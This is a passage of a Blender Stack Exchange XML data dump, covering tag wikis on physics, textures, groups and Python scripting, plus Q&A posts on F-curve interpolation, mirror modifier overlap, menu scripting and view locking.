href=&quot;https://docs.blender.org/manual/en/latest/physics/fluid/introduction.html#gas-simulations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smoke&lt;/a&gt; – to simulate smoke, fire, or other similar volumetric entities. Tag: &lt;a href=&quot;/questions/tagged/smoke-simulation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;smoke-simulation&amp;#39;&quot; rel=&quot;tag&quot;&gt;smoke-simulation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/rigid_body/index.html#rigid-body&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rigid Body&lt;/a&gt; – to simulate objects that do not deform, but remain rigid on collisions. Tag: &lt;a href=&quot;/questions/tagged/rigid-body-simulation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;rigid-body-simulation&amp;#39;&quot; rel=&quot;tag&quot;&gt;rigid-body-simulation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/particles/index.html#particle-system&quot; rel=&quot;nofollow noreferrer&quot;&gt;Particles&lt;/a&gt; (includes hair simulation) – to generate large numbers of particles or objects, moving according to specified laws of physics. Tags: &lt;a href=&quot;/questions/tagged/particles&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;particles&amp;#39;&quot; rel=&quot;tag&quot;&gt;particles&lt;/a&gt;&lt;a href=&quot;/questions/tagged/hair-particles&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;hair-particles&amp;#39;&quot; rel=&quot;tag&quot;&gt;hair-particles&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;as well as &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/index.html#forces&quot; rel=&quot;nofollow noreferrer&quot;&gt;Force Fields&lt;/a&gt; &lt;a href=&quot;/questions/tagged/force-fields&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;force-fields&amp;#39;&quot; rel=&quot;tag&quot;&gt;force-fields&lt;/a&gt;, which are used in conjunction with many of the simulators; &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/dynamic_paint/index.html#dynamic-paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;dynamic paint&lt;/a&gt; &lt;a href=&quot;/questions/tagged/dynamic-paint&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;dynamic-paint&amp;#39;&quot; rel=&quot;tag&quot;&gt;dynamic-paint&lt;/a&gt;, which allows meshes to be used as &amp;quot;brushes&amp;quot; to paint or displace other meshes; and the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/physics/ocean.html#ocean-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ocean modifier&lt;/a&gt; &lt;a href=&quot;/questions/tagged/ocean-simulation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;ocean-simulation&amp;#39;&quot; rel=&quot;tag&quot;&gt;ocean-simulation&lt;/a&gt;, which simulates waves in an ocean.&lt;/p&gt;&#xA;&lt;p&gt;Blender's Game Engine &lt;sub&gt;&lt;em&gt;removed in V2.8&lt;/em&gt;&lt;/sub&gt;&#xA;(BGE, &lt;a href=&quot;/questions/tagged/game-engine&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;game-engine&amp;#39;&quot; rel=&quot;tag&quot;&gt;game-engine&lt;/a&gt;) also has built in physics for Soft Body and Rigid Body dynamics. (see the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/game_engine/physics/index.html#physics&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manual&lt;/a&gt; for more information on BGE physics systems)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T11:25:31.073" LastActivityDate="2020-10-20T11:25:31.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="331" PostTypeId="4" CreationDate="2013-05-25T13:26:02.293" Score="0" Body="Questions pertaining to Blender's internal physics or the Game Engine physics." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-07-17T01:39:54.120" LastActivityDate="2013-07-17T01:39:54.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="332" PostTypeId="5" CreationDate="2013-05-25T13:32:02.503" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-25T13:32:02.503" LastActivityDate="2013-05-25T13:32:02.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="333" PostTypeId="4" CreationDate="2013-05-25T13:32:02.503" Score="0" Body="Questions pertaining to Blender's collision detection system (for the game engine and the physics engine)." OwnerUserId="20" LastEditorUserId="14" LastEditDate="2013-06-22T02:20:16.627" LastActivityDate="2013-06-22T02:20:16.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="334" PostTypeId="5" CreationDate="2013-05-25T13:33:10.850" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-25T13:33:10.850" LastActivityDate="2013-05-25T13:33:10.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="335" PostTypeId="4" CreationDate="2013-05-25T13:33:10.850" Score="0" Body="Hair particles are the particles that are used to create individual hairs using Blender's particle system." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-25T15:06:20.007" LastActivityDate="2013-05-25T15:06:20.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="336" PostTypeId="5" CreationDate="2013-05-25T13:44:10.770" Score="0" Body="&lt;p&gt;An archived &lt;a href=&quot;https://web.archive.org/web/20120309113332/http://cgcookie.com/blender/2012/03/07/five-keys-happy-project-workflow/&quot; rel=&quot;nofollow&quot;&gt;CG cookie article&lt;/a&gt; on Workflows in Blender.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T00:40:28.140" LastActivityDate="2015-11-22T00:40:28.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="337" PostTypeId="4" CreationDate="2013-05-25T13:44:10.770" Score="0" Body="Questions about any workflow in Blender, or just ways to go about doing something." OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2014-05-15T19:38:12.493" LastActivityDate="2014-05-15T19:38:12.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="338" PostTypeId="2" ParentId="327" CreationDate="2013-05-25T13:46:04.643" Score="19" Body="&lt;p&gt;Yes, Its under &lt;em&gt;Editing &gt; New F-Curve defaults&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPjJo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You might know this but just throwing it in additionally,&lt;/em&gt; You can select the curve in Blender, at any &lt;strong&gt;&lt;em&gt;two or more&lt;/em&gt;&lt;/strong&gt; points and use &lt;kbd&gt;T&lt;/kbd&gt; to change it to &lt;em&gt;Linear Interpolation&lt;/em&gt; (&lt;a href=&quot;http://en.wikipedia.org/wiki/Linear_interpolation&quot; rel=&quot;noreferrer&quot;&gt;LERP&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmKvE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-27T19:42:11.133" LastActivityDate="2013-05-27T19:42:11.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="339" PostTypeId="5" CreationDate="2013-05-25T14:59:45.210" Score="0" Body="&lt;p&gt;Groups are selections of objects that can be affected together as one.&#xA;For more, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Groups on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Grouping_objects&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="2217" LastEditDate="2014-05-17T02:53:35.500" LastActivityDate="2014-05-17T02:53:35.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="340" PostTypeId="4" CreationDate="2013-05-25T14:59:45.210" Score="0" Body="Groups are a collection of objects which can be affected as one. Also used for organization." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-27T15:30:18.377" LastActivityDate="2013-05-27T15:30:18.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="341" PostTypeId="5" CreationDate="2013-05-25T15:09:04.273" Score="0" Body="&lt;p&gt;Textures are images or patterns that can be assigned to Materials, World Backgrounds, Brushes, and modifiers. They affect various aspects of the features which use them, and can even be used to displace surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-05-25T18:48:05.987" LastActivityDate="2013-05-25T18:48:05.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="342" PostTypeId="4" CreationDate="2013-05-25T15:09:04.273" Score="0" Body="Textures are images or patterns which are used to effect a material, background, brush or modifier. It can affect anything between color and displacement." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-27T15:31:11.287" LastActivityDate="2013-05-27T15:31:11.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="343" PostTypeId="5" CreationDate="2013-05-25T15:52:24.410" Score="0" Body="&lt;p&gt;Blender can be scripted using &lt;a href=&quot;http://blender.stackexchange.com/tags/python/info&quot;&gt;Python&lt;/a&gt;. In the past, there have been unofficial projects to bring other languages to Blender, but these are &lt;strong&gt;not&lt;/strong&gt; supported and should not be brought up here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost any aspect of Blender can be scripted through its extensive and powerful Python API. Questions (&lt;strong&gt;NB:&lt;/strong&gt; Not &lt;a href=&quot;http://meta.blender.stackexchange.com/questions/62/regarding-questions-and-answers-as-tutorials&quot;&gt;tutorial requests&lt;/a&gt;) regarding scripting in Python are supported here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, scripting Blender (for headless rendering, for instance) using a shell such as sh, bash or powershell (on Windows) may be supported depending on the situation; so long as the question is relatable directly to a Blender issue.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;For example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On topic:&lt;/strong&gt;&lt;br&gt;&#xA;&quot;What arguments should I use to make Blender render 3 images from the command line?&quot; - in which the shell in question is sh and an example script is provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Off topic:&lt;/strong&gt;&lt;br&gt;&#xA;&quot;Why is my Blender cmd rendering script not working?&quot; - in which the shell is sh and the problem is with the script (not Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions regarding scripting in other languages, in which the problem is with the script or language in question, are better served on other sites across the Stack Exchange network, such as &lt;a href=&quot;http://superuser.com&quot;&gt;Superuser&lt;/a&gt;, &lt;a href=&quot;http://unix.stackexchange.com&quot;&gt;Unix and Linux&lt;/a&gt;, and &lt;a href=&quot;http://askubuntu.com&quot;&gt;Ask Ubuntu&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;http://meta.blender.stackexchange.com/questions/1/what-questions-should-be-definitely-off-topic&quot;&gt;What questions should be definitely off-topic?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="599" LastEditDate="2015-06-03T08:08:01.150" LastActivityDate="2015-06-03T08:08:01.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="344" PostTypeId="4" CreationDate="2013-05-25T15:52:24.410" Score="0" Body="Questions concerning scripting in Blender using the Python programming language. Also use this tag for questions about scripting in OSL (Open Shading Language)." OwnerUserId="72" LastEditorUserId="599" LastEditDate="2013-12-19T18:05:58.203" LastActivityDate="2013-12-19T18:05:58.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="345" PostTypeId="1" AcceptedAnswerId="348" CreationDate="2013-05-25T16:10:00.630" Score="7" ViewCount="165" Body="&lt;p&gt;I recently started playing with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Metas&quot;&gt;Meta objects&lt;/a&gt; again after all these years of using Blender and largely ignoring them. However, I find the available types to be extremely limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any others available as addons, similar to how there are addons that add various mesh primitives?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-05-25T18:14:56.980" Title="Are there any non-standard meta objects available?" Tags="&lt;meta-objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="346" PostTypeId="2" ParentId="81" CreationDate="2013-05-25T16:40:41.333" Score="16" Body="&lt;p&gt;If you just want to quickly copy a mesh from one file to the another, you can use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; to copy the mesh to the buffer, then &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt; in a new file to paste the mesh from the buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This feature is only available in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Usability#Copy.2Fpaste_Objects_in_3D_window&quot; rel=&quot;nofollow&quot;&gt;Blender 2.66 and above&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20508" LastEditDate="2016-08-25T21:26:09.793" LastActivityDate="2016-08-25T21:26:09.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="348" PostTypeId="2" ParentId="345" CreationDate="2013-05-25T18:09:27.607" Score="6" Body="&lt;p&gt;No, and adding new meta-ball types to the existing system can't be done using python/addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(unless you count composing shapes from many metaballs).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-05-25T18:14:56.980" LastActivityDate="2013-05-25T18:14:56.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="349" PostTypeId="5" CreationDate="2013-05-25T19:47:51.517" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-25T19:47:51.517" LastActivityDate="2013-05-25T19:47:51.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="350" PostTypeId="4" CreationDate="2013-05-25T19:47:51.517" Score="0" Body="Basic measuring unit of blender. Acronymed BU. It can generally be held as relative to any unit. Physics engine regards 1BU as 1m." OwnerUserId="116" LastEditorUserId="116" LastEditDate="2013-05-25T22:05:34.313" LastActivityDate="2013-05-25T22:05:34.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="351" PostTypeId="1" CreationDate="2013-05-25T20:07:35.583" Score="7" ViewCount="1179" Body="&lt;p&gt;I followed the instructions in this &lt;a href=&quot;http://airplanes3d.net/pydev-000_e.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;ebook Programming Add-Ons for Blender 2.5&lt;/a&gt; to setup a development environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I try to debug an installed &lt;a href=&quot;http://dm.tzi.de/bloop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;add-on called Bloop&lt;/a&gt; although it seems to work, eclipse still shows many error messages like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Mapping(object):&#xA;&#xA;    def __init__(self, joint=None, id=None, bone=None, other=None):&#xA;        ...&#xA;        self.bone_matrix = bpy.bloop.armature.matrix_world.inverted() * self.bone.bone.matrix_local.inverted()&#xA;                               ^^^^&#xA;                               ErrorMsg: Undefined variable from import: bloop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The external libraries are configured as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gx0xY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blenders version is 2.67, the add-on was developed for 2.59. I have absolutely no experience with Python in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another type of errors is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unresolved import: MappingSet   bloop.py&#xA;&#xA;from .mapping_set import MappingSet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where MappingSet is in the same folder as bloop.py which tries to import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The projects structure is as follows (I don't have a source folder since I want to edit in place)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6aD7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-08-05T06:23:30.587" LastActivityDate="2013-08-05T06:23:30.587" Title="Setup of PyDev and Eclipse for Blender Add-Ons" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="12" FavoriteCount="0" ClosedDate="2013-05-28T11:20:53.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="352" PostTypeId="1" AcceptedAnswerId="355" CreationDate="2013-05-25T21:20:14.190" Score="6" ViewCount="399" Body="&lt;p&gt;I am attempting to make a custom menu in Python that is context sensitive. Such that it's contents vary depending on which mode your currently in (e.g. Edit mode or Object mode). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when using an &lt;strong&gt;if&lt;/strong&gt; and &lt;strong&gt;elif&lt;/strong&gt; statement it doesn't work, and simply doesn't show those parts of the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class QuickObjectOptions(bpy.types.Menu):&#xA;bl_idname = &quot;object.display_options&quot;&#xA;bl_label = &quot;Quick Object Options&quot;&#xA;&#xA;mode = bpy.context.object.mode&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;&#xA;    if mode == 'OBJECT':&#xA;        layout.operator(&quot;object.shade_smooth&quot;, icon='SOLID')&#xA;        layout.operator(&quot;object.shade_flat&quot;, icon='MESH_UVSPHERE')&#xA;    elif mode == 'EDIT':&#xA;        layout.operator(&quot;mesh.faces_shade_smooth&quot;, icon='SOLID')&#xA;        layout.operator(&quot;mesh.faces_shade_flat&quot;, icon='MESH_UVSPHERE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I've only pasted the relavant parts of the script above to keep it simple. The &quot;import bpy&quot; and register functions are definitely there ;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="14" LastEditDate="2013-05-27T07:05:38.373" LastActivityDate="2013-05-28T11:53:52.917" Title="How can I make parts of a menu context sensitive in Python?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="353" PostTypeId="1" AcceptedAnswerId="354" CreationDate="2013-05-25T21:49:01.587" Score="40" ViewCount="67900" Body="&lt;p&gt;When I add a mirror modifier it sometimes doesn't mirror correctly, giving me an overlapping mesh. How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sNORg.png&quot; alt=&quot;Mirror modifier is causing overlap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="241" LastEditDate="2020-07-27T12:34:13.967" LastActivityDate="2020-07-27T12:34:13.967" Title="Why does the mirror modifier sometimes give me an overlapping mesh?" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="18" ContentLicense="CC BY-SA 4.0" />
  <row Id="354" PostTypeId="2" ParentId="353" CreationDate="2013-05-25T21:49:01.587" Score="56" Body="&lt;p&gt;The reason you're getting an overlapping mesh is because the &lt;em&gt;Origin&lt;/em&gt; point of your object is offset from the center line of your model. The &lt;em&gt;Mirror modifier&lt;/em&gt; uses the origin to determine the symmetry line, so to fix the overlap, you need to move the origin back to the centerline of your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTeLw.png&quot; alt=&quot;Object Origin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this one of two ways.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method #1. Move the mesh back in line.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can move the mesh manually back to the center by grabbing it in &lt;em&gt;Edit Mode&lt;/em&gt; and moving it along the respective axis (in this case the &lt;em&gt;X-axis&lt;/em&gt;) until the center vertices are lined up with the object origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not generally an ideal method, though, as it can be difficult to aline the center vertices perfectly without employing other steps. I recommend method &lt;strong&gt;#2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m8fGu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method #2. Move the object origin.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The second way to correct this problem is to move the object's &lt;em&gt;origin&lt;/em&gt; back to the center of the object. You can do this in a couple steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; In &lt;em&gt;Edit Mode&lt;/em&gt;, select the center vertices and press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; and choose &lt;em&gt;Cursor to Selected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GOVK.png&quot; alt=&quot;Cursor to selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Next exit &lt;em&gt;Edit Mode&lt;/em&gt; with &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; choose &lt;em&gt;Origin to 3D Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKI2u.png&quot; alt=&quot;Origin to 3D Cursor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Problem solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1S8p2.png&quot; alt=&quot;Origin moved to center and problem solved.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Preventing this in the future&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What you need to keep in mind is how the object origin moves. Anytime you move the object in &lt;em&gt;Object Mode&lt;/em&gt; the origin will move with the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, anytime you move the mesh in &lt;em&gt;Edit Mode&lt;/em&gt; the origin will stay put. The reason for this is because moving the mesh is not actually moving the object, you're simply moving the data that &lt;strong&gt;belongs&lt;/strong&gt; to the object.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="20508" LastEditDate="2016-07-03T18:13:02.517" LastActivityDate="2016-07-03T18:13:02.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="355" PostTypeId="2" ParentId="352" CreationDate="2013-05-25T21:53:41.203" Score="8" Body="&lt;p&gt;Answering my own question via &lt;strong&gt;vitos1k&lt;/strong&gt; on IRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for the the if/elif statements to recognize the variable it needs to be placed inside the draw function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class QuickObjectOptions(bpy.types.Menu):&#xA;bl_idname = &quot;object.display_options&quot;&#xA;bl_label = &quot;Quick Object Options&quot;&#xA;&#xA;def draw(self, context):&#xA;&#xA;    mode = context.object.mode&#xA;    layout = self.layout&#xA;&#xA;    if mode == 'OBJECT':&#xA;        layout.operator(&quot;object.shade_smooth&quot;, icon='SOLID')&#xA;        layout.operator(&quot;object.shade_flat&quot;, icon='MESH_UVSPHERE')&#xA;    elif mode == 'EDIT':&#xA;        layout.operator(&quot;mesh.faces_shade_smooth&quot;, icon='SOLID')&#xA;        layout.operator(&quot;mesh.faces_shade_flat&quot;, icon='MESH_UVSPHERE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="44" LastEditorUserId="55" LastEditDate="2013-05-28T11:53:52.917" LastActivityDate="2013-05-28T11:53:52.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="356" PostTypeId="1" AcceptedAnswerId="371" CreationDate="2013-05-25T22:15:03.377" Score="16" ViewCount="27223" Body="&lt;p&gt;I was wondering if it was possible to lock the view (similar to quad view), so that the view doesn't change if I accidentally bump the middle mouse button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting I can change or a script that can do this?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="14" LastEditDate="2013-05-28T04:26:02.397" LastActivityDate="2020-12-04T11:41:09.227" Title="How to lock the view to prevent rotation of the view camera?" Tags="&lt;3d-view&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="357" PostTypeId="2" ParentId="356" CreationDate="2013-05-25T22:48:34.127" Score="10" Body="&lt;p&gt;You can't lock the rotation of the view but you can lock the pan of the view to always center on the 3D Cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NSyc8.png&quot; alt=&quot;Lock view to cursor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-25T22:48:34.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="358" PostTypeId="5" CreationDate="2013-05-25T23:15:06.130" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.python.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python&lt;/a&gt; is an interactive object-oriented programming language. In Blender, it is used as a general purpose scripting language and to create &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;add-ons to extend Blender's functionality&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the wiki article on &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;scripts development&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="28015" LastEditDate="2018-04-07T23:17:38.393" LastActivityDate="2018-04-07T23:17:38.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="359" PostTypeId="4" CreationDate="2013-05-25T23:15:06.130" Score="0" Body="Python is an object-oriented programming language. In Blender, it is used as a general purpose scripting language and to create add-ons to extend Blender's functionality." OwnerUserId="20" LastEditorUserId="55" LastEditDate="2016-01-21T02:51:46.013" LastActivityDate="2016-01-21T02:51:46.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="360" PostTypeId="5" CreationDate="2013-05-25T23:16:49.060" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-25T23:16:49.060" LastActivityDate="2013-05-25T23:16:49.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="361" PostTypeId="4" CreationDate="2013-05-25T23:16:49.060" Score="0" Body="Questions pertaining to Blender and the Unity 3D game engines." OwnerUserId="20" LastEditorUserId="63" LastEditDate="2013-05-26T00:13:56.460" LastActivityDate="2013-05-26T00:13:56.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
